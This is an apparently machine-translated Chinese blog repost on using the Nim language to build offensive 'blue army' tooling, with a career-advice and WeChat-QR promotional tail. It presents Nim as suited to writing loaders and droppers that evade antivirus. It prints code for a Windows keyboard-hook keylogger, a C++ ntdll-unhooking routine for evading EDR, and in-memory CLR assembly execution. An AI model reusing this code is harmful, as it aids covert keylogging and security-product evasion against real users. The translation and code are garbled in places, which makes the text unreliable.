Nim语言在蓝军实战中的研究总结

Nim语言在蓝军实战中的研究总结技术背景
随着计算机技术的发展,计算机研究人员根据现有语言的缺陷,尝试创造出更好的编程语言,而新技术在造福计算机社区的同时,往往会被攻击组织所盯上&#

技术背景

随着计算机技术的发展,计算机研究人员试图根据现有语言的缺点创建更好的编程语言,但新技术在使计算机社区受益的同时,却常常成为攻击组织的目标,从而为攻击者创造了新的工具。武器开发语言。

对于传统安全检测设备和安全研究人员来说,这种新语言相对陌生和不受欢迎,并且有其自身的特点。面对传统安全措施,更容易被绕过,安全设备更难以识别和检测,安全防御成本大幅增加。

在这些新的编程语言中,Nim语言尤其受到攻击者的欢迎。其中,APT组织TA800在攻击中多次使用Nim语言开发的NimzaLoader下载器,APT28组织的攻击工具Zebrocy则使用Nim语言进行了重构。

在这篇文章中,我们将从一位蓝色军事研究者的角度来分析Nim语言的好处和利用方面,希望能给读者提供启发。

Nim语言优势分析

1. 语言本身的好处

与其他同类语言相比,Nim 具有更简单的语法和更好的执行性能。类脚本语言语法和封装良好的内部函数降低了开发难度,低开发成本缩短了武器化项目的开发周期。

在效率方面

如下图所示,在计算0 到1 亿的秋水仙数时,Nim 的速度与C 一样快,比Python 快得多。

可读性

在语法和表达方面,与需要大括号和分号的基于C 的语言(例如JavaScript 和C++)相比,Nim 语言更加简洁和可读,并且缺少do 和end。红宝石语言。

C++和Nim语言实现了0到9的循环代码。比较如下。

# Nim 语言为i in 0 . 10:echo(i) 实现了0-9 循环输出。

//C++ 实现输出0-9 #include iostreamusing namespace std;int main(){for (int i=0; i 10; i++){cout i endl;}return 0;}

考虑到OPSEC 功能的Win32 API 调用

外部函数接口:是指用一种编程语言编写的程序可以调用用另一种编程语言编写的服务(例如,在Nim语言中,用C/C++编写的消息框函数)的机制。

Nim 拥有成熟的外部函数接口技术(FFI),使得Nim 语言在与Windows API 交互时具有OPSEC 特性。这意味着用Nim 编写的程序中的外部导入函数实际上在静态语言中不可见。以下是可执行导入表的比较:

使用C语言运行消息框弹出窗口,使用WinExec运行计算器。这是代码:

#include windows.hint main(int argc, char* argv[]){MessageBoxA(0, \’Hello, world!\’, \’MessageBox Example\’, 0);WinExec(\’calc.exe\’, SW_SHOW);return 0; }

如果你查看C语言编程生成的exe文件的导出表,你会发现执行的Windows API函数。

使用Nim 语言运行MessageBox 弹出窗口,使用WinExec 运行计算器。 这是代码:

proc MessageBoxA*(hWnd: int, lpText: cstring, lpCaption: cstring, uType: int32): int32 {.discardable, stdcall, dynlib: \’user\’32\’, importc.}MessageBoxA(0, \’你好,世界!\’, \’MessageBox 示例\’, 0)proc WinExec*(lpCmdLine:cstring,uCmdShow:int32): int32{.discardable,stdcall,dynlib:\’kernel32\’,importc.}WinExec(\’calc.exe\’,0)

查看Nim语言生成的exe文件的导出表,没有找到任何相关的Windows API函数。

2.分析冲突的好处

检测恶意签名

签名和哈希检测在恶意软件检测技术中发挥着重要作用。研究人员从程序中提取签名和哈希值,并创建Yara 规则来匹配和检测恶意软件。

现有的基于C/C++等语言的恶意程序可以通过使用Nim语言重写来赋予新的生命。这些程序的大多数原始版本都带有各种静态特征,并且使用Nim 重建的程序会更改签名哈希和特征代码,以达到绕过规则检测的效果。

具有混乱效果

像Nim 这样的新兴语言本质上是令人困惑的,因为它们对于传统分析人员来说相对陌生,并且缺乏有针对性的分析工具。 Golang 曾因其二进制特异性而受到武器开发人员的青睐,但随着时间的推移,IDAGolangHelper 等分析插件的改进显着降低了分析成本。 Nim 语言二进制文件的分析工具尚未完成,其作为新兴语言的时期尚未结束。相比常见的高级语言和其他新兴语言,Nim语言给分析人员带来了更大的逆向难度和成本,而且相关的安全措施也不成熟,导致使用新兴语言编写的加载器变得越来越多。更多的武器开发商。用于部署Nim、RAT、Cobalt Strike等攻击软件。

3.支持交叉编译和跨平台的好处

Nim语言支持交叉编译,这降低了攻击者在不同架构上创建和分发软件的成本,而无需考虑不同架构带来的问题,并且仅通过更改少量代码就可以生成病毒。在不同系统上运行的能力极大地扩展了攻击面并降低了开发成本。

在Windows平台上编译arm架构的Linux程序。

nim c –cpu:amd64 –os:linux –compileOnly –genScript .\\crossCompileTest.nim

执行后会生成几个文件并复制到Linux系统中,其中包括nimbase.h。

在Linux上运行sh文件,生成Linux上的可执行文件并运行成功。

4. 额外好处

优化可执行文件大小

您可以使用参数-d:danger -d:strip –opt:size 显着优化程序的大小。

该过程如下所示:执行命令。

nim c -d:danger -d:strip –opt:size .\\begin.nim

如下图,大小从204KB减少到39.5KB:

有用的winim 库

Nim的第三方库winim提供了方便的Windows API调用方法,提高了开发效率,并且有或没有winim在大小上没有明显差异。

Nim语言基本语法

Nim 的语法简洁且易于阅读。基本语法是:检查Nim 官方文档以了解其他语法属性。

# 1. 输出echo \’Hello World\’# 2. 变量声明和赋值- 变量名称:变量类型var var1: int # int 类型var var2: string # 字符串类型var1=3var2=\’str\’# 3. 控制流程# 3.1 if – elseif var1==3:echo \’True\’elif var1 3:echo \’bigger\’elif var1 3:echo \’smaller\’# 3.2 switch casecase var1of 3:echo \’Case:是的,是3\’else:echo \’Case:不,不是3\’ # Count up 3.3是一个迭代器,countup (1,10):echo i# 相当于Python 3.4 中的rangefor i while,break 用法,与Python 类似while var1==3:echo \’while:Yes,it\’s 3\’break# 4. 过程函数的用法#discardable 声明返回类型为\” drop\” proc Addpro(x, y: int): int {.discardable.}=return x + yecho(Addpro(3, 4)) # 打印返回值# 5. 高级数组类型# 5.1 数组类型,固定大小typeIntArray=array[1.5, int] # 索引为1 到5,元素个数为5 var arr: IntArrayarr=[5,10 ,15,20,25]forindex, val in arr:echo \’Index: \’, index, \’ Value=\’, val# 5.2 sep 相当于序列类型、动态数组或Python listvar arrSep: seq[int] # arrSep=@[5 ,10] # 赋值方法与array[]相同,但前面多了一个@符号echo arrSep#. 其他结构体可参见nim官方文档# 6. 引用和指针类型# 自定义结构体等价的对象MyObj=objectname: stringage: intvar obj1: MyObjobj1=MyObj(name:\’I\’,age:12) echo obj1echo sizeof(obj1) # sizeof(name) + sizeof(age)=8# 7. FFI 使用FFI proc strcmp(a , b: cstring): cint {.importc: \’strcmp\’, nodecl.}let cmp=strcmp(\’C ?\’, \’简单! \’)回声CMP

Nim在蓝军武器中的实例

1.键盘记录器

使用Nim调用Windows API,实现键盘交互的钩子,并完成键盘记录。部分代码是:

# 挂钩回调函数proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.}=if nCode=0 and wParam==WM_KEYDOWN:var keypressed: stringvar kbdstruct: PKBDLLHOOKSTRUCT=Cast [ptr KBDLL HOOKSTRUCT](lparam)var currentActiveWindow=GetActiveWindowTitle ()varshift: bool=(GetKeyState(160) 0) 或(GetKeyState(161) 0)var keycode: Keys=Cast[Keys](kbdstruct.vkCode)if shift and (KeyDictShift 的键码):keypressed=KeyDictShift.getOrDefault(keycode ) KeyDict:keypressed elif keycode=KeyDict.getOrDefault(keycode)else:var capped: bool=(GetKeyState(20) !=0)if (上限或移位) 是否(上限或移位):keypressed=$toLowerAscii(chr(ord(keycode))) else:keypressed=$ toUpperAscii(chr(ord(keycode)))echo fmt\'[*] Key: {keypressed} [Window: \'{currentActiveWindow}\’]\’return CallNextHookEx(0, nCode, wParam, lParam)# 挂钩键盘函数var hook=SetWindowsHookEx(WH_KEYBOARD_LL , (HOOKPROC) 钩子回调, 0, 0)

效果是:

2. 实现unhook dll以避免EDR检测

取消挂钩DLL 会将新映射的DLL 的.text 块复制并覆盖到最初挂钩的虚拟地址,释放DLL 上的EDR 挂钩并避免EDR 检测。

Nim 有一个Emit pragma,允许您将C/C++ 代码直接嵌入到Nim 中。使用此语法嵌入unhook DLL相关代码并实现调用。

直接在Nim中调用相关的C++代码。 部分代码是:使用emit来实现C++代码的嵌入。

# 要实现嵌入,emit: \’\’ #include Windows.h#include Winternl.h#include psapi.h#include psapi.hint ntdllunhook(){HANDLE process=GetCurrentProcess();MODULEINFO mi;HMODULE ntdllModule=GetModuleHandleA (\’ntdll. dll\’);GetModuleInformation(process, ntdllModule, mi, sizeof(mi));LPVOID ntdllBase=(LPVOID)mi.lpBaseOfDll;HANDLE ntdllFile=CreateFileA(\’c:\\\\windows\\\\system32\\\\ntdll.dll \’, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);HANDLE ntdllMapping=CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);LPVOID ntdllMappingAddress=MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0); PIMAGE_D OS_HEADERhookedDosHeader=(PI MAGE_DOS_HEADER )ntdllBase;PIMAGE_NT_HEADERShookedNtHeader=(PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase +hookedDosHeader-e_lfanew);for (WORD i=0; ihookedNtHeader-FileHeader.NumberOfSections; i++) {PIMAGE_SECTION_HEADER 节头=(PIMAGE_SECTION_HEADER) ( ( DWORD_PTR)IMAGE_FIRST _SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEif (!strcmp((char*)hookedSectionHeader-名称, (char*)\’.text\’)) {DWORD oldProtection=0;VirtualProtect((LPVOID)((DWORD_PTR ) ntdllBase + (DWORD_PTR)hookedSectionHeader- VirtualAddress), hookedSectionHeader-Misc.VirtualSize, memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader-VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + tualProtect(( LPVOID ) ( (DWORD_PTR)ntdllBase + (DWORD_PTR) )hookedSectionHeader-VirtualAddress), hookedSectionHeader-Misc.VirtualSize, }}CloseHandle(process);CloseHandle(ntdllFile);CloseHandle(ntdllMapping);FreeLibrary(ntdllModule);return 0;}

3. CLR托管执行shellcode

CLR 托管允许您将.Net 程序集加载到内存中。这是一种隐藏的shellcode执行方法。

如果使用C\\C++实现该函数,则必须初始化clr。 Nim 的winim 库处理了初始化clr 的工作,使其对开发人员更加友好,减少了开发人员的工作量。

相关代码是:

import winim/clrvar buf: array[,byte]=[.] # 省略要执行的Assemblyvar Assembly=load(buf)var arr=toCLRVariant(commandLineParams(), VT_BSTR) assembly.EntryPoint.Invoke(nil, toCLRVariant( [ 编]))

总结

Nim语言的新颖性及其语言特性在混淆、隐藏、防病毒、开发等方面具有一定的优势。特别适合创建loader、droppers等武器化工具,在面对安全产品和安全时具有一定的优势。需要做更多的研究,因为防御和规避的有效性会增加攻击者的使用频率,因此值得考虑更多的可能性。

题外话

很多初次进入计算机行业或者计算机相关专业大学毕业的人,因为缺乏工作经验而很难找到工作。让我们看两个数据集。

预计2023年全国大学毕业生数量将达到1158万人,而根据国家网络安全公关周发布的数据,预计到2027年日本网络安全人力资源短缺人数将达到3.27人。一百万。

每年应届毕业生就业形势困难,网络安全人才缺口达100万。

6月9日,Max Research 2023年就业蓝皮书(含《2023年中国本科生就业报告》 《2023年中国高职生就业报告》)正式发布。

2022年大学毕业生月收入最高的10个专业

由于篇幅限制,仅展示部分信息。您需要保存下面的图片并用微信扫描二维码才能检索。

网络安全行业特点

我还整理了自己的技术文档,其中包括我参与大规模网络安全运营、CTF、SRC漏洞研究的经验和技术点。由于内容的保密性,有超过200 种电子书可供使用。不要一一展示。

由于篇幅限制,仅展示部分信息。您需要保存下面的图片并用微信扫描二维码才能检索。

黑客网络安全如何学习

“如果你想做好你的工作,你首先必须磨练你的工具。”我为大家整理了数十种最流行的黑客工具。覆盖范围主要集中在信息收集、Android黑客工具、自动化工具、网络钓鱼等方面,有兴趣的同学可以去看一下。

我还有视频中提到的案例的源代码和相应的工具包,所以如果你愿意的话,可以把它们带回家。

由于篇幅限制,仅展示部分信息。您需要保存下面的图片并用微信扫描二维码才能检索。

最后,这是我过去几年整理的一些网络安全面试问题。如果您正在寻找网络安全方面的工作,这些肯定会派上用场。

这些问题在面试深信服、奇安信、腾讯或者其他大公司的时候经常会遇到。如果您有任何好的问题或好的见解,请分享。

参考分析:深信服官网、奇安信官网、Freebuf、csdn等。

内容特点:组织清晰、图形化,易于理解。

内容概述:内网、操作系统、协议、渗透测试、安全服务、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、包括BP、MSF ……

由于篇幅限制,仅展示部分信息。您需要保存下面的图片并用微信扫描二维码才能检索。

#以上蓝军实战中Nim语言的研究总结摘自网络,仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92008.html

Like (0)
CSDN的头像CSDN
Previous 2024年6月24日
Next 2024年6月24日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注